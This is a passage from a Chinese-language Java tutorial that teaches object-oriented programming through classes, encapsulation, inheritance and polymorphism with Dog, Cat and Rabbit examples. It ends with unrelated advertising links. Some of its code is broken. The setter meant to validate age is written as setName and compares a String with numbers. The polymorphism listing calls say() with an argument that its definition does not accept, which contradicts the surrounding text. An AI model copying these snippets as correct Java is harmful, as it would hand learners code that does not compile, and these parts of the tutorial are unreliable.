  2. 告訴行小觀去哪買水
  3. 行小觀找到我要的那瓶水
  4. 付錢,找零錢
  5. 把水帶回來給我

在從「給行小觀錢」到「行小觀把水給我」的整個過程,我和行小觀都專註於完成每一個步驟(事件),行小觀只是一個執行我事先描述好的步驟的無思想的工具人而已。

如果我還有其他問題需要行小觀幫忙,那麼我就還得把如何完成這些問題的詳細步驟全都告訴他,這麼麻煩那我還找別人幫忙干什麼呢?還不如我自己去做。而且有些問題我自己也不會做,那怎麼辦?所以行小觀並不是一個合格的工具人。

1.2. 面向對象編程

與面向過程編程不同,面向對象編程(Object Oriented Programming,OOP)是一種以對象為中心的編程思想,對象是現實世界中的一個個事物的實體。

對象包含了用戶可以使用(公開)的功能部分和對用戶隱藏的實現部分。

在開發過程中,我們可以使用功能部分來解決問題,但是並不關心功能是怎樣實現的。

還是上面的那個買水的例子,使用面向對象來實現:

  1. 我給行小觀10塊錢,讓他幫我買瓶水
  2. 行小觀把水和零錢帶回來給我

在這個例子中,我只需要給行小觀錢,然後他就能幫我買水。我相信我請行小觀有「買水的能力」,他一定能幫我買到水。至於去哪買?怎麼買?行小觀自己知道,我並不關心他是怎麼買到水的,因為我的目的很簡單:「我想要一瓶水」。

如果我有其他問題需要行小觀幫忙,無論這些問題我會不會做,直接告訴他就好了,他會幫我完成。

我只專註於問題本身,具體的操作我並不關心。現在行小觀是一個合格的工具人了。

2. 類和對象

2.1. 二者之間的關係

這裏通過一個大家耳熟能詳的神話——女媧造人,來說明類和對象之間的關係。

相傳女媧以泥土仿照自己摶土造人,創造並構建人類社會。

在這個神話里,「女媧」是一個藍圖、模板,「人」是依據該藍圖被創造出來的個體。

「女媧」可以看做類(Class),「人」可以看做對象(Object)

跳出神話,來到真實世界。

我們目能所及的事物都可以看做是「對象」,比如說你用的桌子、坐的椅子、玩的電腦、養的狗……這些一個個真實存在,你能摸到的物品都是對象。

狗有千千萬……高的、矮的、胖的、瘦的、黑色的、白色的等各不相同,但是總能在這些不同的狗之中找到相同的特性,這些不同品種的狗我們把它統稱為「狗」。「狗」即為類,而我們養的真實存在的狗為對象。

總結一下:

  • 類是對一類具有共同特徵的事物的抽象,是一類事物的統稱,是一個抽象概念(比如“人類”這個名詞)。

  • 對象是這類事物相對應的具體存在的實體,是一個具體存在的事物(比如“行小觀”這個具體的人)。

  • 類是創建單個對象時的藍圖、模板。

2.2. 類

當我們說到「狗」這個類的時候,會很自然地想到和狗相關的一些特點和習性。

比如,名字、品種、顏色、年齡等,這些是屬性

還有,吠叫、看門等,這些是行為

一個類包括了屬性和行為,行為可以操縱屬性。

對應到代碼中,屬性即為成員變量,行為即為成員方法,成員方法可以操縱成員變量。

下面是一個具體的類:

程序2-1
/**
 * 狗類
 * @author Xing Xiaoguan
 */

public class Dog {
    //屬性——成員變量
    String name;
    int age;
    int legs;

    //行為——成員方法
    //行為——吠叫
    public void say() {
        System.out.println("我是" + name + "汪汪汪");
    }

    //行為——看門
    public void watchDoor() {
        System.out.println("趕走陌生人");
    }
}

2.3. 對象

類是一個抽象概念,而對象則是一個具體的實例。

以狗為例,我們養的不可能是「一類狗」,而是在和一隻「具體的狗」玩耍,比如說哮天犬。

回到女媧(類)造人(對象)這個神話中,人是以女媧為模板被造出來的,女媧造人的過程,即由類構造對象的過程稱為創建類的實例(instance)。

程序2-2
public static void main(String[] args) {
   Dog dog = new Dog();//創建類的實例,對象dog
   dog.name = "哮天犬";
   dog.age = 2;
   dog.legs = 4;
   dog.say();
}

對於被創建出來的對象而言,它們都不一樣,每一個特定的對象(實例)都有一組特定的屬性值(成員變量),這些屬性值的集合就是這個對象的當前狀態,只要對象使用者通過行為(成員方法)向該對象發送消息,這些狀態就可能被改變。

上面這句話怎麼理解?

現在有兩隻狗(兩個對象):哮天犬和哮地犬,這兩個對象的名字、年齡等屬性不同,即當前狀態不同。每隻狗都有一個行為:可以「每過一年,年齡增長1歲」,當通過該行為向哮天犬發送消息時,哮天犬的狀態就被改變了。

可以看出,一個對象由狀態(state)和行為(behavior)組成,對象在成員變量中存儲狀態,通過成員方法公開其行為

研究一個對象,我們要去關注它處於什麼狀態?具有哪些行為?

對象的三個主要特性:

  • 對象的行為——可以對對象施加哪些操作(方法)?
  • 對象的狀態——當施加那些方法時,對象如何響應?
  • 對象標識——如何辨別具有相同狀態與行為的不同對象?

3. 三大特性

3.1. 封裝

封裝(encapsulation)是Java面向對象的三大特行之一。

一個對象具有屬性和行為,封裝把其屬性和行為組合在了一起,但是為什麼需要封裝?

上文已經介紹了,一個對象由其狀態和行為組成。我們回看程序2-1,雖然這段代碼錶示出了Dog類,但是有一個很大的問題:創建出來的Dog對象的狀態很容易被改變

比如我們可以直接修改程序2-2中的對象的狀態:

dog.name = "哮地犬";
dog.legs = 3;

你的狗的名字被不懷好意的人給改了,腿也少了一條!這種事情是危險、可怕的

我們希望別人能夠“知道”自己的狗叫什麼名字、有幾條腿等信息,但是又要防止不懷好意的人隨便“傷害”自己的狗,怎麼辦呢?答案是封裝

將對象的狀態和行為封裝起來,使用該對象的用戶只能通過對象本身提供的方法來訪問該對象的狀態。前面也說過,對象的當前狀態可能會改變,但是這種改變不是對象自發的,必須通過調用對象本身提供的方法來改變。如果不通過調用方法就能改變對象狀態,只能說明封裝性被破壞了。

換句話說,我們將對象的屬性(狀態)對外隱藏起來,這些狀態能否被訪問或修改,由對象自己來決定,決定的方式就是「給對象的使用者提供可調用的方法,用戶通過這些方法來進行訪問和修改」。

程序2-1可以改進為:

程序3-1
/**
 * 封裝后的狗類
 * @author Xing Xiaoguan
 */

public class Dog {
    private String name;
    private int age;
    private int legs;

    public String getName() {
        return name;
    }

    public int getAge() {
        return age;
    }

    public int getLegs() {
        return legs;
    }

    public void setName(String name) {
        this.name = name;
    }

    public void setAge(int age) {
        this.age = age;
    }

    //行為——吠叫
    public void say() {
        System.out.println("我是" + name + "汪汪汪");
    }

    //行為——看門
    public void watchDoor() {
        System.out.println("趕走陌生人");
    }

}

乍一看多了許多代碼,其實就多了兩個部分:

  1. 使用private修飾符來修飾成員變量,將其私有化,確保只能在本類內被訪問到,實現隱藏。
  2. 給成員變量提供了對應的訪問方法(getter方法)和修改方法(setter方法)。

其中我們給用戶能夠訪問或修改的成員變量都編寫上對應的setter或getter方法,如name。用戶不能訪問或修改的成員變量不寫setter或getter方法即可。

/**
 * 實例化一隻小狗,並和它玩
 */
public class Play {
    public static void main(String[] args) {
        Dog dog = new Dog();
        dog.setName("哮天犬");;
        dog.setAge(2);
        dog.say();
        dog.watchDoor();
    }
}

現在,用戶不能直接訪問或修改對象的狀態,必須通過提供的方法。對象並沒有給legs變量提供setter方法,這樣用戶就只能訪問狗有幾條腿,但是不能修改。狗腿被人“偷”了的事情也不會再發生了。

而且,當我們使用setter方法修改成員變量時,可以進行其他的操作,如錯誤檢查。比如設置age變量時:

//狗的平均壽命為10~15年,太大了不合理
public void setName(String name) {
    if (name > 0 && name < 30)
    	this.name = name;
}

現在,Dog類就比較安全了。

由上面的代碼可以看出,如果要訪問或修改成員變量,需要:

  • 成員變量是私有的
  • 一個公有的getter方法
  • 一個公有的setter方法

封裝還有一個優點就是:對外隱藏了具體實現,這樣的好處就是:我們可以修改內部實現,除了修改了該類的方法外,不會影響其他代碼。

封裝使對象對外變成了一個“黑箱”,用戶只會使用,但不清楚內部情況。

前面買水的例子也體現了封裝思想:行小觀買水的方式有很多,走路去、騎車去、甚至找比人幫忙,但是他改變買水的方式並不會對我造成影響。

3.2. 繼承

生活中除了狗,還有許多其他動物,比如貓、兔子……

程序3-2
/**
 * 貓類
 * @author Xing Xiaoguan
 */

public class Cat {
    private String name;
    private int age;
    private int legs;
    private String owner;//主人

    //getters and setters……

    //行為——叫
    public void say() {
        System.out.println("我是" + name + "喵喵喵");
    }

    //行為——捉老鼠
    public void catchMouse() {
        System.out.println("捉到一隻老鼠");
    }
}
程序2-5
/**
 * 兔子類
 * @author Xing Xiaoguan
 */

public class Rabbit {
    private String name;
    private int age;
    private int legs;
    private String home;//住址

	//getters and setters……

    //行為——叫
    public void say() {
        System.out.println("我是" + name + "咕咕咕");
    }

    //行為——搗葯
    public void makeMedicine() {
        System.out.println("在" + home + "搗葯");
    }
}

寫完這兩個類,發現有許多屬性和方法是重複的,如果需要再寫100個動物的類,那得

這些動物形態各異,但是它們都被統稱為“動物”,也就是說,我們仍能在它們身上找出相同的特點,比如它們都有名字、年齡、腿、能發出聲音……

前面介紹類的時候已經說了,類是對一類具有共同特徵的事物的抽象,所以此時我們還能從狗、貓、兔子這些類中再抽象出一個類——動物類。

程序3-3
/**
 * 動物類
 * @author Xing Xiaoguan
 */

public class Animal {
    private String name;
    private Integer age;
    private Integer legs;

    public void say() {
        System.out.println("我是"+name+"發出聲響");
    }
    //setters and getters……
}

這個更抽象的類就是父類,而狗、貓、兔子類是子類。子類可以使用extends關鍵字繼承父類的屬性和方法,這意味着相同的代碼只需要寫一遍。

程序3-4
/**
 * 狗類繼承父類
 * @author Xing Xiaoguan
 */

public class Dog extends Animal{

    //行為——吠叫
    public void say() {
        System.out.println("我是" + getName() + "汪汪汪");
    }

    //行為——看門
    public void watchDoor() {
        System.out.println("趕走陌生人");
    }
}
程序3-5
/**
 * 貓類繼承父類
 * @author Xing Xiaoguan
 */

public class Cat extends Animal {
    private String owner;

    public String getOwner() {
        return owner;
    }

    public void setOwner(String owner) {
        this.owner = owner;
    }

    //行為——喵喵叫
    public void say() {
        System.out.println("我是" + getName() + "喵喵喵");
    }

    //行為——捉老鼠
    public void catchMouse() {
        System.out.println("捉到一隻老鼠");
    }
}
程序3-6
/**
 * 兔子類繼承父類
 * @author Xing Xiaoguan
 */

public class Rabbit extends Animal {

    private String home;

    public String getHome() {
        return home;
    }

    public void setHome(String home) {
        this.home = home;
    }

    //行為——叫
    public void say() {
        System.out.println("我是" + getName() + "咕咕咕");
    }

    //行為——搗葯
    public void makeMedicine() {
        System.out.println("在" + home + "搗葯");
    }
}

觀察上面的子類和父類,可以發現:

  1. 子類不用再重複父類中已有的屬性和方法,能通過繼承獲取到。
  2. 子類比父類的功能更加豐富,子類可以擁有自己的屬性和方法
  3. 子類如果感覺繼承自父類的方法不合適,可以重寫父類的方法的實現過程,注意返回值和形參不能改變。

使用繼承的好處:

  • 提高代碼的復用性,不用再寫那麼多重複代碼了。
  • 使代碼便於維護,當我們需要修改某個公用方法時,不需要一個個類去修改,只需修改父類的該方法即可。

3.3. 多態

看下面一段代碼,我們來直觀體驗什麼是多態。

程序3-7
public static void main(String[] args) {
    Animal dog = new Dog();
    dog.setName("哮天犬");
    dog.say(dog.getName());
    
    Animal cat = new Cat();
    cat.setName("加菲貓");
    cat.say();

    Animal rabbit = new Rabbit();
    rabbit.setName("玉兔");
    rabbit.say();
}

運行,輸出:
我是哮天犬汪汪汪
我是加菲貓喵喵喵
我是玉兔咕咕咕
  1. DogCatRabbit都是繼承Animal父類。
  2. DogCatRabbit重寫Animalsay(String name)方法。
  3. 在創建實例對象時,我們使用父類引用指向子類的對象

使用多態應當注意一下幾點:Animal dog = new Dog()

  • 在多態中,子類對象只能調用父類中定義的方法,不能調用子類中獨有的方法。

    比如dog不能調用watchDoor()方法。

  • 在多態中,子類可以調用父類的所有方法。

  • 在多態中,子類如果重寫了父類的方法,那麼子類調用該方法時,調用的是子類重寫的方法。

在上面的代碼中,狗、貓、兔子對象都運行了say方法,但是輸出不同。

由此看出,不同的對象的同一行為具有不同的表現形式,這就是多態。

在實際的本例中,我們可以理解為:動物Animal,他們都會叫出聲。如果是狗,則叫的是汪汪汪;如果是貓,則叫的是喵喵喵;如果是兔子,則叫的是咕咕咕。

4. 總結

面向對象思想使我們在編程更加貼近現實世界,類是現實世界的抽象,對象則是一個個具體的事物。

封裝使一個個具體的事物更加獨立,繼承則使一些類似的事物之間具有聯繫,而多態則使事物的行為更加靈活多樣。

面向對象編程提高了軟件的重用性、靈活性、擴展性。

如有錯誤,還請指正

參考資料:

  • The Java Tutorials

  • 維基百科

  • 百度百科

  • Java核心技術 卷1

文章首發於公眾號「行人觀學」

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

台北網頁設計公司這麼多該如何選擇?

※智慧手機時代的來臨,RWD網頁設計為架站首選

※評比南投搬家公司費用收費行情懶人包大公開

※幫你省時又省力,新北清潔一流服務好口碑